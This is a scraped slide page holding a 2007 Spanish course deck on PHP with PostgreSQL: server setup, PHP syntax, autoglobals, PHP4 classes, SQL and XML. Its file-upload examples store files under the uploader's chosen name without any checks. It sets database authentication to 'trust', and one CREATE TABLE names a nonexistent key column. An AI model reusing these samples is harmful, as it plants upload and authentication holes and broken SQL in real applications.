POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptx
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdf
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 

PHP con Postgres - Curso de 3 horas

  • 1. PHP con PostgreSQL 03/12/2007 al 07/12/2007
  • 2. Presentación del Curso Descripción: • Tema: PHP con conexión a BD Postgres • Horario: Lunes a Viernes de 15:00 a 18:30 y 19:30 a 22:00 • Instructor: Jorge Arévalo Bórquez – jaareval@uc.cl PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso
  • 3. Presentación del Curso Evaluación: • 2 pruebas teóricas • Duración: 20 a 30 minutos. • Días: Miércoles y Jueves. • Hora: 15:00 Su promedio valdrá el 50% de la nota final del curso. • 1 prueba práctica • Duración: 3 horas. • Día: Viernes • Hora: 18:00 Valdrá un 50% de la nota final del curso. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso
  • 4. Introducción ¿Qué es PHP? PHP es un lenguaje de programación usado normalmente para la creación de páginas web dinámicas. PHP es un acrónimo recursivo que significa quot;PHP Hypertext Pre-processorquot; (inicialmente PHP Tools, o, Personal Home Page Tools), y se trata de un lenguaje interpretado. Últimamente también puede ser utilizado para la creación de otro tipo de programas incluyendo aplicaciones con interfaz gráfica usando las librerías Qt o GTK+. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 5. Introducción ¿Qué es PostgreSQL? PostgreSQL es un servidor de base de datos objeto relacional libre, liberado bajo la licencia BSD. Como muchos otros proyectos open source, el desarrollo de PostgreSQL no es manejado por una sola compañía sino que es dirigido por una comunidad de desarrolladores y organizaciones comerciales las cuales trabajan en su desarrollo, dicha comunidad es denominada el PGDG (PostgreSQL Global Development Group). PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 6. Introducción Requerimientos: • Un Servidor Web, por ejemplo Apache (http://httpd.apache.org) • Un intérprete PHP (http://www.php.net) • Un Servidor de BD Postgres (http://www.postgresql.org, http://www.postgresql.cl) PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 7. Introducción Instalación de Apache y PHP: Inicialmente usaremos la instalación a través de RPMs de Apache, incluyendo el módulo PHP. Más tarde compilaremos los fuentes de modo de optimizar la ejecución. Si no está instalada la interfaz gráfica de paquetes. ~ sudo yum install httpd httpd-devel httpd-suexec ~ sudo yum install php Probar en un navegador con la dirección http://localhost PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 8. Introducción Instalación de PostgreSQL: Inicialmente usaremos la instalación a través de RPMs de postgresql, incluyendo el módulo para que PHP se pueda comunicar con PostgreSQL. Más tarde compilaremos los fuentes de modo de optimizar la ejecución. Si no está instalada la interfaz gráfica de paquetes. ~ sudo yum -y install postgresql postgresql-server php-pgsql PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 9. Introducción Configuración Básica de Apache: Los ficheros de configuración están en : /etc/httpd Los ficheros de log en : /var/log/httpd Los ficheros de módulos en : /usr/lib/httpd/modules ~ sudo chkconfig httpd on El archivo de configuración principal de Apache es httpd.conf ServerTokens Prod # Lo queremos a Prod, para impeder que el resto de la gente sepa que versión de apache estamos utilizando PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 10. Introducción Configuración Básica de Apache: Después de los <IfModule *> Listen 192.168.1.100:80 Listen 192.168.1.101:81 # Ponemos Apache a escuchar por la IP en la que vamos a servir el contenido Después de la lista de módulos ServerAdmin miemail@miservidordecorreo.com PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 11. Introducción Configuración Básica de Apache: DirectoryIndex index.html index.php index.htm # El órden de búsqueda de documentos de apache Primero buscará el index.html, luego el index.php y luego el index.htm ServerSignature OFF # Para evitar mostrar la versión de apache en los ficheros de Error PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 12. Introducción Configuración Básica de Apache: NameVirtualHost 192.168.1.101:80 <VirtualHost 192.168.1.101:80> ServerName cursophp.org ServerAlias *.cursophp.org DocumentRoot /usr/local/cursophp ErrorLog logs/cursophp.error.log CustomLog logs/cursophp.access.log combined ServerAdmin webmaster@cursophp.org </VirtualHost> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 13. Introducción Configuración Básica de PostgresSQL: Crear el primer usuario y base de datos: su – postgres psql template1 psql# create user web_user; psql# create database web_database owner web_user; psql# q PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 14. Introducción Configuración Básica de PostgresSQL: Editar el archivo /var/lib/pgsql/data/pg_hba.conf local all all trust Reiniciar el servidor /sbin/service postgresql restart Las base de datos se encuentran en: psql -U web_user web_database PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
  • 15. Introducción a PHP ¡Hola Mundo! Crear el archivo /usr/local/cursophp/holamundo.php con el siguiente contenido: <html> <head> <title>Ejemplo</title> </head> <body> <h3>Mi primer ejemplo php</h3> <?php echo quot;hola mundoquot;; ?> <hr> </body> </html> PHP con Postgres – Linux Center – Clase 1 – Introducción a PHP
  • 16. Introducción a PHP Tags Delimitadores de Código : El código PHP debe ir dentro de tags php, los cuales pueden ser cualquiera de los siguientes: • <? ?> • <?php ?> • <script language=“php”></script> • <% %> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  • 17. Introducción a PHP Variables: PHP es un lenguaje débilmente tipado: el intértprete decidirá el tipo de la variable según su contenido. Los principales tipos de datos que soporta son: • Enteros • Punto Flotante • Cadenas • Lógicos • Vectores • Objetos PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  • 18. Introducción a PHP Variables: Los nombres de las variables son Case Sensitive, un signo $ delante del nombre advierte que es una variable (su uso es obligatorio). Pueden asignarse por valor y por refencia. Por valor: $a=$b; Por referencia: $a=&$b; Ya que el signo peso indica el uso de la variable que tiene como nombre el texto que le sigue, podemos tener “nombres de variables variables”. Ejemplo : $var=“mivariable”; $$var es equivalente a $mivariable PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  • 19. Introducción a PHP Strings: Los Strings en php se concatenan usando el operador . y pueden especificarse usando comillas simples o dobles como delimitadores. Las comillas simples (‘’) hacen un uso literal de los caracteres que incluya. Las comillas dobles: reemplazarán las variables que aparezcan por sus valores, y los caracteres de escape estilo C (n, t, etc.) Para representar comillas dobles uso el carácter de escape ” PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  • 20. Introducción a PHP Vectores: En php existen 2 clases de vectores: • Escalares: cada posición es identificada por un número. $a[0]=“Hola”; $a[1]=“Mundo”; $a[]=“!”; $b=array(“Hola”, “Mundo”, “!”); • Asociativos (Hash): cada elemento es identificado por una cadena $c[“nombre”]=“Silvia”; $c[“edad”]=21; $d=array(“nombre”=>”Silvia”, “edad”=>21); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  • 21. Introducción a PHP Sentencias de control: Falta completar PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  • 22. Introducción a PHP Funciones: Para definir una función, basta con escribir la palabra reservada function seguida del nombre de la función y a continuación la lista de parámetros entre paréntesis. El cuerpo de la función se escribe, a continuación, entre llaves. Function miFunction($arg1, $arg2, … , $argN){ //Cuerpo de la función return $valorDeRetorno; } PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
  • 23. Introducción a PHP Variables AutoGlobales: Desde la versión 4.1.0 de PHP existen un conjunto de vectores que contienen variables de las transacciones HTTP, el servidor y el usuario. Estas son automáticamente accesibles desde cualquier script y desde cualquier parte de él. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  • 24. Introducción a PHP Variables AutoGlobales: Estos vectores asociativos son: $GLOBALS Contiene una referencia a cada variable accesible desde el script. $_SERVER Contiene información del servidor. $_GET Variables pasadas via HTTP GET. $_POST Variables pasadas al script vía HTTP POST. $_COOKIE Variables pasadas al script vía cookies HTTP. $_FILES Variables que controlan la subida de ficheros mediante HTTP. $_ENV Variables de entorno. $_REQUEST Une el contenido de $_GET, $_POST y $_COOKIE. $_SESSION Variables registradas en la sesión actual. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  • 25. Introducción a PHP $_SERVER: 'PHP_SELF‘ El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la dirección http://cursophp.org/test_php/prueba.php sería /test_php/prueba.php 'SERVER_NAME' El nombre del servidor anfitrión bajo el que está siendo ejecutado el script actual. Si el script está corriendo en un host virtual, éste será el valor definido para tal host virtual. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  • 26. Introducción a PHP $_SERVER: 'REQUEST_METHOD' Cuál método de petición fue usado para acceder a la página; i.e. 'GET', 'HEAD', 'POST‘. 'QUERY_STRING' La cadena de consulta, si existe, mediante la cual se accedió a la página 'DOCUMENT_ROOT' El directorio raíz de documentos bajo el que está siendo ejecutado el script actual, tal y como se define en el archivo de configuración del servidor. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  • 27. Introducción a PHP $_SERVER: 'HTTP_USER_AGENT' Contenidos de la cabecera User_Agent: de la petición actual, si existe. Esta es una cadena que denota el agente de usuario que está accediendo a la página. Un ejemplo típico es: Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586) 'REMOTE_ADDR' La dirección IP desde donde el usuario está observado la página actual. 'SCRIPT_FILENAME' La ruta absoluta del nombre del script siendo ejecutado actualmente PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  • 28. Introducción a PHP $_COOKIE: Es un vector asociativo que contiene cada una de las cookies que el usuario tenga registradas y hayan sido enviadas por el servidor en la cabecera http. Se crean con la función: setcookie(Nombre, Valor, Tiempo_Vida, Path, Dominio, Seguro); Si se crea una cookie con el nombre, path y dominio de otra, esta se reemplaza por la nueva. (En algunos casos, basta con que coincida el nombre. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
  • 29. Introducción a PHP $_SESSION: Se comienza una sesión (en caso de que aún no haya comenzado) con la función session_start() ; Para borrar una variable ya asignada a sesión usamos: unset($_SESSION[“nombre_dato”]); Para terminar una sesión usamos: session_destroy(); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
  • 30. Introducción a PHP $_FILES: Cuando en un formulario HTML se envia un archivo, este copiado a una carpeta temporal en el servidor y envia la información en las cabeceras. PHP puede recuperar esta información mediante el arreglo asociativo $_FILES. Para guardarlo hacemos lo siguiente: <? $destino = 'uploaded' ; move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); ?> Donde $_FILES['file']['tmp_name'] identificara el archivo temporal subido al servidor, $destino, la carpeta en la que lo queremos mover y $_FILES['file']['name'] el nombre original del archivo. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
  • 31. Introducción a PHP $_FILES: Además también podemos conocer otros parámetros del fichero subido como por ejemplo el tamaño, vamos a ver un ejemplo: <? $destino = 'uploaded' ; $tamano = $_FILES [ 'file' ][ 'size' ]; if( $tamano < 500 ){ move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); } else echo quot;El tamaño es superior al permitidoquot; ; ?> Tambien podemos saber el tipo de archivo subido con la siguiente variable: $_FILES['file']['type']; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
  • 32. Introducción a PHP $_FILES: Además también podemos conocer otros parámetros del fichero subido como por ejemplo el tamaño, vamos a ver un ejemplo: <? $destino = 'uploaded' ; $tamano = $_FILES [ 'file' ][ 'size' ]; if( $tamano < 500 ){ move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' . $_FILES [ 'file' ][ 'name' ]); } else echo quot;El tamaño es superior al permitidoquot; ; ?> Tambien podemos saber el tipo de archivo subido con la siguiente variable: $_FILES['file']['type']; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
  • 33. Orientación a Objetos Introducción: La Programación Orientada a Objetos (POO u OOP según sus siglas en inglés) es un paradigma de programación que usa objetos y sus interacciones para diseñar aplicaciones y programas de computadora. Está basado en varias técnicas, incluyendo herencia, modularidad, polimorfismo, y encapsulamiento. Su uso se popularizó a principios de la década de 1990. Actualmente varios lenguajes de programación soportan la orientación a objetos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  • 34. Orientación a Objetos Objetos: Los objetos son entidades que combinan estado, comportamiento e identidad. El estado está compuesto de datos, y el comportamiento por procedimientos o métodos. La identidad es una propiedad de un objeto que lo diferencia del resto. La programación orientada a objetos expresa un programa como un conjunto de estos objetos, que colaboran entre ellos para realizar tareas. Esto permite hacer los programas y módulos más fáciles de escribir, mantener y reutilizar. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  • 35. Orientación a Objetos Clases: Corresponde a la definición de las propiedades (atributos) y comportamiento (métodos) de un tipo genérico de objetos. Al proceso de crear un objeto desde una clase se le conoce como instanciación. Debemos diferenciar, varios tipos de clases. En una primera instancia, veremos las clases concretas y las clases abstractas. Las primeras son clases que tienen como objetivo, ser instanciadas y por tanto, se convierten en un “tipo de datos especial” Las clases abstractas por el contrario, no se espera (y en muchos casos no se puede) que se instancien. Su objetivo es servir como base a nuevas clases más específicas. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  • 36. Orientación a Objetos Características: Abstracción Cada objeto en el sistema sirve como modelo de un quot;agentequot; abstracto que puede realizar trabajo, informar y cambiar su estado, y quot;comunicarsequot; con otros objetos en el sistema sin revelar cómo se implementan estas características. Los procesos, las funciones o los métodos pueden también ser abstraídos y cuando lo están, una variedad de técnicas son requeridas para ampliar una abstracción. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  • 37. Orientación a Objetos Características: Encapsulamiento Significa reunir a todos los elementos que pueden considerarse pertenecientes a una misma entidad, al mismo nivel de abstracción. Esto permite aumentar la cohesión de los componentes del sistema. Algunos autores confunden este concepto con el principio de ocultación, principalmente porque se suelen emplear conjuntamente. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  • 38. Orientación a Objetos Características: Ocultamiento Cada objeto está aislado del exterior, es un módulo natural, y cada tipo de objeto expone una interfaz a otros objetos que especifica cómo pueden interactuar con los objetos de la clase. El aislamiento protege a las propiedades de un objeto contra su modificación por quien no tenga derecho a acceder a ellas, solamente los propios métodos internos del objeto pueden acceder a su estado. Esto asegura que otros objetos no pueden cambiar el estado interno de un objeto de maneras inesperadas, eliminando efectos secundarios e interacciones inesperadas. Algunos lenguajes relajan esto, permitiendo un acceso directo a los datos internos del objeto de una manera controlada y limitando el grado de abstracción. La aplicación entera se reduce a un agregado o rompecabezas de objetos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  • 39. Orientación a Objetos Características: Polimorfismo Comportamientos diferentes, asociados a objetos distintos, pueden compartir el mismo nombre, al llamarlos por ese nombre se utilizará el comportamiento correspondiente al objeto que se esté usando. O dicho de otro modo, las referencias y las colecciones de objetos pueden contener objetos de diferentes tipos, y la invocación de un comportamiento en una referencia producirá el comportamiento correcto para el tipo real del objeto referenciado. Cuando esto ocurre en quot;tiempo de ejecuciónquot;, esta última característica se llama asignación tardía o asignación dinámica. Algunos lenguajes proporcionan medios más estáticos (en quot;tiempo de compilaciónquot;) de polimorfismo, tales como las plantillas y la sobrecarga de operadores de C++. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  • 40. Orientación a Objetos Características: Herencia Las clases no están aisladas, sino que se relacionan entre sí, formando una jerarquía de clasificación. Los objetos heredan las propiedades y el comportamiento de todas las clases a las que pertenecen. La herencia organiza y facilita el polimorfismo y el encapsulamiento permitiendo a los objetos ser definidos y creados como tipos especializados de objetos preexistentes. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
  • 41. OOP en PHP Creación de Clases: Se debe seguir la siguiente estructura para crear una clase: <? class NombreDeClase{ var $atributo1, $atributo2, …, $atributoN; function nombreDeClase($arg1, …, $argN){ //Constructor de la clase } function metodoNumero1($arg1, …, $argN){ } … function metodoNumero2($arg1, …, $argN){ } } ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
  • 42. OOP en PHP Instanciación: Para crear un objeto desde una clase, lo hacemos mediante el operador new: $miObjeto=new NombreDeClase(arg1, …, argN); Para acceder a sus métodos, usamos el operador -> : $retorno=$miObjeto->metodoNumero1(arg1, …, argN); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
  • 43. OOP en PHP Herencia: Para diseñar una clase que herede de (o extienda a) otra clase debemos usar la palabra clave extends de la siguiente manera: class ClaseEspecifica extends ClasePadre{ var $nuevosAtributos; function ClaseEspecifica($arg1, …, $argN){ //constructor } function nuevoMetodo($arg1, …, $argN){ } } PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
  • 44. OOP en PHP Ejercicio: 1. Diseñar una clase que represente a un contacto dentro de nuestra agenda. 2. Diseñar una clase que represente a la agenda. Lo anterior permitiendo que se guarden los datos en cookies como la última vez, pero delegando estas responsabilidades a quien corresponda. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
  • 45. Operadores de PHP Aritméticos: $a + $b Suma $a - $b Resta $a * $b Multiplicación $a / $b División $a % $b Módulo (Resto de división entera) $a++ Incremento (Retorna después incrementa) ++$a Incremento (Incrementa después retorna) $a-- Decremento (Retorna después decrementa) --$a Decremento (Decrementa después retorna) $a+=$b Incrementa $a en $b unidades $a-=$b Decrementa $a en $b unidades PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
  • 46. Operadores de PHP Comparación: $a == $b Igual $a === $b Idéntico $a != $b Distinto $a <> $b Distinto $a !== $b No idéntico $a < $b Menor que $a > $b Mayor que $a <= $b Menor o igual que $a >= $b Mayor o igual que PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
  • 47. Operadores de PHP Lógicos: $a and $b AND $a or $b OR $a xor $b XOR ! $a NOT $a && $b AND $a || $b OR $a?$b:$c Tiene como valor $b siempre que $a sea verdadero y $c en caso contrario. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
  • 48. PostgreSQL Introducción: • Es un gestor de base de datos relacional • Es de codigo abierto bajo licencia BSD • Es multiplataforma • Tiene un alto nivel de seguridad • Existe una amplia comunidad que nos ayuda con el soporte • Ofrece Integridad referencial • Maneja las concurrencias PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – PostgreSQL
  • 49. PostgreSQL - Sentencias SQL Creación de tablas: create table contactos ( id INT, nombre VARCHAR(20), edad INT, correo VARCHAR(20), primary key (id_persona) ); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
  • 50. PostgreSQL - Sentencias SQL Modificación de tablas: alter table contactos add column telefono VARCHAR(10); alter table contactos drop column telefono; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
  • 51. PostgreSQL - Sentencias SQL Manejo registros: insert into contactos (id,nombre,edad,correo) values (1,’Jorge’,25,’jaareval@uc.cl’); update contactos set nombre=‘Jorge Arevalo’ where id=1; delete from contactos where id=1; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
  • 52. PostgreSQL - Sentencias SQL Crear Consultas: select * from contactos where nombre like ‘J%’; Create view vista_jotas as select * from contactos where nombre like ‘J%’; PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
  • 53. PostgreSQL desde PHP Configuración: Debemos asegurarnos que el archivo php.ini (habitualmente en /usr/local/lib ) contenga la linea: extension=pgsql.so en linux y extension=pgsql.dll en windows PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PostgreSQL
  • 54. PostgreSQL desde PHP Ejemplo: <?php $conexion_bd = pg_connect(quot;host=localhost dbname=web_database user=web_userquot;) or die('No pudo conectarse: ' . pg_last_error()); $consulta = 'SELECT * FROM autores'; $resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error()); echo quot;<table>nquot;; while ($linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)) { echo quot;t<tr>nquot;; foreach ($linea as $valor_col) { echo quot;tt<td>$valor_col</td>nquot;; } echo quot;t</tr>nquot;; } echo quot;</table>nquot;; pg_free_result($resultado); pg_close($conexion_bd); ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 55. PostgreSQL desde PHP Ejemplo (Análisis): $conexion_bd = pg_connect(quot;host=localhost dbname=web_database user=web_userquot;) or die('No pudo conectarse: ' . pg_last_error()); pg_connect retorna un apuntador a la conexión, que será guardado en $conexion_bd recibe un único parámetro que corresponde a la cadena de conexión. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 56. PostgreSQL desde PHP Ejemplo (Análisis – pg_connect): En esta cadena pueden definirse los siguientes parámetros: • host La máquina donde escucha el servidor PostgreSQL • port Puerto de conexión. • tty TTY a utilizar. Interesante a la hora de depurar. • options Opciones adicionales. • dbname Nombre de la base de datos a la que se quiere conectar. • user Nombre del usuario PostgreSQL con el que se realizará la conexión. • pass Contraseña para la conexión. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 57. PostgreSQL desde PHP Ejemplo (Análisis): $conexion_bd = pg_connect(quot;host=localhost dbname=web_database user=web_userquot;) or die('No pudo conectarse: ' . pg_last_error()); or die() realiza un echo del string que recibe como parametro en caso de que la llamada a alguna función resulte en un error. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 58. PostgreSQL desde PHP Ejemplo (Análisis): $consulta = 'SELECT * FROM autores'; $resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error()); $consulta corresponde al string que representa la consulta. pg_query($consulta) retorna un apuntador a un resultado de consulta (no me ofrece forma de manejarlo). La función pg_query() debe tener alguna de las 2 formas siguientes: • $result=pg_query($conexion,$consulta); • $result=pg_query($consulta); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 59. PostgreSQL desde PHP Ejemplo (Análisis): $linea = pg_fetch_array($resultado, null, PGSQL_ASSOC) En $linea almacenará la siguiente fila del resultado en forma de array asociativo usando el nombre del campo como clave. Los parámetros que recibe pg_fetch_array() son, en orden de izquierda a derecha: • $resultado apuntador al conjunto de resultados • $row entero que indica la fila dentro del conjunto de resultados que se desea recuperar, null en caso que queramos recuperar la siguiente a la última que se recuperó. • $result_type entero que indica de que manera debe retornar la fila: PGSQL_ASSOC (Arreglo asociativo) PGSL_NUM (Arreglo escalar) PGSQL_BOTH (Ambos) Si la fila que se pretende recuperar no existe retorna false PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 60. PostgreSQL desde PHP Ejemplo (Análisis – manejar resultados): Existen otras funciones que nos permiten recuperar los resultados: • pg_fetch_all Devuelve un vector que contiene todos los registros devueltos por la consulta. • pg_fetch_array Devuelve la siguiente fila del resultado en forma de vector. El primer elemento será la primera columna, el segundo la segunda, etc. Devuelve falso si no encuentra más registros. • pg_fetch_assoc Devuelve la siguiente fila del resultado en forma de vector asociativo. Como claves del vector usa los nombres de los campos. Devuelve falso si no encuentra más registros. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 61. PostgreSQL desde PHP Ejemplo (Análisis – manejar resultados): • pg_fetch_object Devuelve una fila del resultado en forma de objeto. Por cada columna de la fila existirá un atributo del mismo nombre. • pg_fetch_result Devuelve un valor de un resultado. Se le especifica fila y columna. • pg_fetch_row Devuelve una fila del resultado en forma de vector. El primer elemento será la primera columna, el segundo la segunda, etc. Devuelve falso si no encuentra más registros. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 62. PostgreSQL desde PHP Ejemplo (Análisis – manejar resultados): Tenemos también la función pg_num_rows($result) que devuelve la cantidad de filas en el resultado apuntado por $result Y también la función pg_affected_rows($result) que devuelve la cantidad de filas afectadas por una sentencia sql de update. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 63. PostgreSQL desde PHP Ejemplo (Análisis): Será necesario liberar la memoria que estaba usando el conjunto de resultados, para ello usamos la función: pg_free_result($resultado); Lo mismo habrá que hacer con la base de datos. pg_close($conexion_bd); PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 64. PostgreSQL desde PHP Ejercicio: Modificar nuestra agenda, de modo que se guarden los datos en la BD. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
  • 65. XML Introducción: XML, sigla en inglés de eXtensible Markup Language, es un metalenguaje extensible de etiquetas desarrollado por el World Wide Web Consortium (W3C). Es una simplificación y adaptación del SGML y permite definir la gramática de lenguajes específicos (de la misma manera que HTML es a su vez un lenguaje definido por SGML). Por lo tanto XML no es realmente un lenguaje en particular, sino una manera de definir lenguajes para diferentes necesidades. Algunos de estos lenguajes que usan XML para su definición son XHTML, SVG, MathML. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
  • 66. XML ¿Para qué sirve?: XML no ha nacido sólo para su aplicación en Internet, sino que se propone como un estándar para el intercambio de información estructurada entre diferentes plataformas. Se puede usar en bases de datos, editores de texto, hojas de cálculo y casi cualquier cosa imaginable. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
  • 67. XML Ventajas: • Es extensible, lo que quiere decir que una vez diseñado un lenguaje y puesto en producción, igual es posible extenderlo con la adición de nuevas etiquetas de manera de que los antiguos consumidores de la vieja versión todavía puedan entender el nuevo formato. • El analizador es un componente estándar, no es necesario crear un analizador específico para cada lenguaje. Esto posibilita el empleo de uno de los tantos disponibles. De esta manera se evitan bugs y se acelera el desarrollo de la aplicación. • Si un tercero decide usar un documento creado en XML, es sencillo entender su estructura y procesarlo. Mejora la compatibilidad entre aplicaciones. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
  • 68. XML Ejemplo de XML: <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?> <!DOCTYPE Edit_Mensaje SYSTEM quot;Lista_datos_mensaje.dtdquot; [<!ELEMENT Edit_Mensaje (Mensaje)*>]> <Edit_Mensaje> <Mensaje> <Remitente> <Nombre>Nombre del remitente</Nombre> <Mail> Correo del remitente </Mail> </Remitente> <Destinatario> <Nombre>Nombre del destinatario</Nombre> <Mail>Correo del destinatario</Mail> </Destinatario> <Texto> <Parrafo> Este es mi documento con una estructura muy sencilla no contiene atributos ni entidades.... </Parrafo> </Texto> </Mensaje> </Edit_Mensaje> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
  • 69. XML Ejemplo de DTD: <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?> <!-- Este es el DTD de Edit_Mensaje --> <!ELEMENT Mensaje (Remitente, Destinatario, Asunto, Texto)*> <!ELEMENT Remitente (Nombre, Mail)> <!ELEMENT Nombre (#PCDATA)> <!ELEMENT Mail (#PCDATA)> <!ELEMENT Destinatario (Nombre, Mail)> <!ELEMENT Nombre (#PCDATA)> <!ELEMENT Mail (#PCDATA)> <!ELEMENT Asunto (#PCDATA)> <!ELEMENT Texto (Parrafo)> <!ELEMENT Parrafo (#PCDATA)> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs
